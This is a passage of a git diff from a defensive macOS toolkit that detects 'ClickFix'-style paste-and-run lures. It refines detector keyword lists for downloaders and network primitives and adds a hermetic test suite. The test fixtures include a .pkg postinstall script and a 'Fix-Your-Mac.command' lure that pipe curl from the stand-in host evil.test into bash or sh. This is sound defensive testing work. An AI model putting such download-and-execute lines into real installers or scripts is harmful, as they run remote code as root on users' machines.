-c "$(curl ...)"` shape, which has no pipe at all. if _cfg_is_interpreter "$cw" && [[ $stage == *(-c|-e|--eval|--exec)[[:space:]]* ]]; then if [[ $stage == *'$('* || $stage == *'`'* ]]; then - local d found=0 + found=0 for d in $CLICKFIX_DOWNLOADERS; do [[ $stage == *"$d"* ]] && found=1 done @@ -539,7 +542,7 @@ clickfix_check() { # primitive. v0.1.0 fired on either one alone, so # `python3 -c "import os; os.system(1)"` was flagged with no network # involved at all. Requiring both kills that false positive. - local netp=0 execp=0 p + netp=0; execp=0 for p in urllib urlopen 'requests.get' http socket 'open-uri' 'Net::HTTP' 'child_process' fetch; do [[ $stage == *"$p"* ]] && netp=1 done @@ -554,7 +557,6 @@ clickfix_check() { # link opens Script Editor pre-filled with exactly this shape. if [[ $cw == osascript ]]; then if [[ $stage == *'do shell script'* ]]; then - local d for d in $CLICKFIX_DOWNLOADERS; do if [[ $stage == *"$d"* ]]; then _cfg_raise block 0 "AppleScript that shells out to ${d} — infostealers use osascript to run payloads and to pop a FAKE password prompt." @@ -579,7 +581,6 @@ clickfix_check() { # Two forms: a bare leading `$(curl x)`, and eval/source/. of one. # v0.1.0 only matched the eval form, and only with a literal prefix. if [[ $cw == (eval|source|.) ]] || { (( si == 1 )) && [[ ${stage##[[:space:]]#} == ('$('|'`')* ]] }; then - local d for d in $CLICKFIX_DOWNLOADERS; do if [[ $stage == *"$d"* ]]; then _cfg_raise block 1 "Runs the output of a remote download as a command (\$( ... ) substitution)." diff --git a/tests/test-downloadtriage.sh b/tests/test-downloadtriage.sh new file mode 100755 index 0000000..50ac612 --- /dev/null +++ b/tests/test-downloadtriage.sh @@ -0,0 +1,136 @@ +#!/usr/bin/env bash +# +# test-downloadtriage.sh — the .pkg root-escalation path must be caught +# ============================================================================== +# ShellGuard cannot see a double-clicked installer. A .pkg preinstall/postinstall +# script runs as ROOT, and the user is conditioned to type an admin password into +# Installer.app — so this is the delivery path with the highest privilege and the +# least suspicion, and the kit was blind to it until downloadtriage. +# +# Fixtures are built here with pkgbuild, so the test is hermetic: nothing is +# downloaded and nothing outside the temp dir is touched. The "payloads" are +# benign — they reference evil.test (an RFC 2606 reserved name that cannot +# resolve) and are never executed. pkgutil --expand-full unpacks; it does not run. +# ============================================================================== + +set -uo pipefail + +ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]:-$0}")/.." >/dev/null 2>&1 && pwd -P)" +DT="$ROOT/downloadtriage/downloadtriage.zsh" + +if [ -t 1 ]; then R=$'\033[1;31m'; G=$'\033[1;32m'; X=$'\033[0m'; else R=''; G=''; X=''; fi + +if ! command -v pkgbuild >/dev/null 2>&1; then + printf 'SKIP: pkgbuild unavailable (not macOS)\n' + exit 0 +fi + +TMP="$(mktemp -d "${TMPDIR:-/tmp}/dltriage-test.XXXXXX")" +cleanup() { [ -n "${TMP:-}" ] && [ -d "$TMP" ] && rm -rf -- "$TMP"; } +trap cleanup EXIT INT TERM + +pass=0; fail=0; r=0 +mkdir -p "$TMP/root" "$TMP/s_hostile" "$TMP/s_benign" "$TMP/dl" +echo payload > "$TMP/root/README.txt" + +# postinstall that downloads and executes — runs as root at install time +cat > "$TMP/s_hostile/postinstall" <<'EOF' +#!/bin/bash +curl -fsSL https://evil.test/stage2.sh | bash +exit 0 +EOF +# an ordinary postinstall that must NOT be called hostile +cat > "$TMP/s_benign/postinstall" <<'EOF' +#!/bin/bash +mkdir -p /usr/local/share/myapp +chown root:wheel /usr/local/share/myapp +exit 0 +EOF +chmod +x "$TMP/s_hostile/postinstall" "$TMP/s_benign/postinstall" + +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_hostile" \ + --identifier com.clickfixkit.test.hostile --version 1 "$TMP/dl/Hostile.pkg" 2>/dev/null +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_benign" \ + --identifier com.clickfixkit.test.benign --version 1 "$TMP/dl/Benign.pkg" 2>/dev/null + +# a .command lure — double-clicking one of these opens Terminal and runs it +printf '#!/bin/bash\ncurl -fsSL https://evil.test/x.sh | sh\n' > "$TMP/dl/Fix-Your-Mac.command" +chmod +x "$TMP/dl/Fix-Your-Mac.command" + +# an ordinary document that must stay quiet +printf 'just some notes about curl and bash\n' > "$TMP/dl/notes.txt" + +check() { + if [ "$2" -eq 1 ]; then + printf ' %sok%s %s\n' "$G" "$X" "$1"; pass=$((pass + 1)) + else + printf ' %sx%s %s\n' "$R" "$X" "$1"; fail=$((fail + 1)) + printf ' output was:\n'; sed 's/^/ /' "$TMP/out.txt" | head -14 + fi +} + +run() { zsh "$DT" "$@" >"$TMP/out.txt" 2>&1; printf '%s' "$?"; } + +printf 'downloadtriage — installer and double-click delivery paths\n\n' + +# --- 1. the root-escalation case ------------------------------------------- +rc="$(run "$TMP/dl/Hostile.pkg")" +grep -q 'run as ROOT' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: postinstall flagged, and says it runs as ROOT" "$r" + +grep -q 'evil.test/stage2.sh' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: the actual script is shown to the user" "$r" + +[ "$rc" = "2" ] && r=1 || r=0 +check "hostile .pkg: exits 2" "$r" + +# The script must be reported through the SHARED grammar, not a private regex. +grep -qi 'pipes it straight into' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: explanation comes from the shared grammar" "$r" + +# --- 2. no crying wolf ------------------------------------------------------ +run "$TMP/dl/Benign.pkg" >/dev/null +grep -q 'grammar found nothing hostile' "$TMP/out.txt" && r=1 || r=0 +check "benign .pkg: install script is NOT called hostile" "$r" + +rc="$(run "$TMP/dl/notes.txt")" +[ "$rc" = "0" ] && r=1 || r=0 +check "a plain .txt mentioning curl and bash exits 0" "$r" + +# --- 3. the double-click lure ---------------------------------------------- +rc="$(run "$TMP/dl/Fix-Your-Mac.command")" +grep -q 'Double-clicking this RUNS it' "$TMP/out.txt" && r=1 || r=0 +check ".command: warns that double-clicking executes it" "$r" + +grep -q 'download-and-execute' "$TMP/out.txt" && r=1 || r=0 +check ".command: contents run through the grammar and flagged" "$r" + +[ "$rc" = "2" ] && r=1 || r=0 +check ".command: exits 2" "$r" + +# --- 4. it must never execute anything -------------------------------------- +# The fixtures would touch this marker if their scripts ever ran. +printf '#!/bin/bash\ntouch %s/EXECUTED\nexit 0\n' "$TMP" > "$TMP/s_hostile/postinstall" +chmod +x "$TMP/s_hostile/postinstall" +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_hostile" \ + --identifier com.clickfixkit.test.marker --version 1 "$TMP/dl/Marker.pkg" 2>/dev/null +run "$TMP/dl/Marker.pkg" >/dev/null +[ ! -e "$TMP/EXECUTED" ] && r=1 || r=0 +check "expanding a .pkg does NOT execute its install scripts" "$r" + +# --- 5. directory sweep ----------------------------------------------------- +rc="$(run --all "$TMP/dl")" +grep -q 'Hostile.pkg' "$TMP/out.txt" && grep -q 'Fix-Your-Mac.command' "$TMP/out.txt" && r=1 || r=0 +check "directory sweep finds both the .pkg and the .command" "$r" + +# --- 6. json mode is parseable --------------------------------------------- +zsh "$DT" --json "$TMP/dl/Hostile.pkg" > "$TMP/out.json" 2>/dev/null +python3 -c "import json,sys; d=json.load(open('$TMP/out.json')); sys.exit(0 if d['flagged']>=1 else 1)" 2>/dev/null && r=1 || r=0 +check "--json emits valid JSON with a flagged count" "$r" + +printf '\n' +if [ "$fail" -eq 0 ]; then + printf '%s%d/%d%s downloadtriage checks pass.\n' "$G" "$pass" "$pass" "$X"; exit 0 +fi +printf '%s%d/%d%s pass — %d FAILED.\n' "$R" "$pass" "$((pass + fail))" "$X" "$fail" +exit 1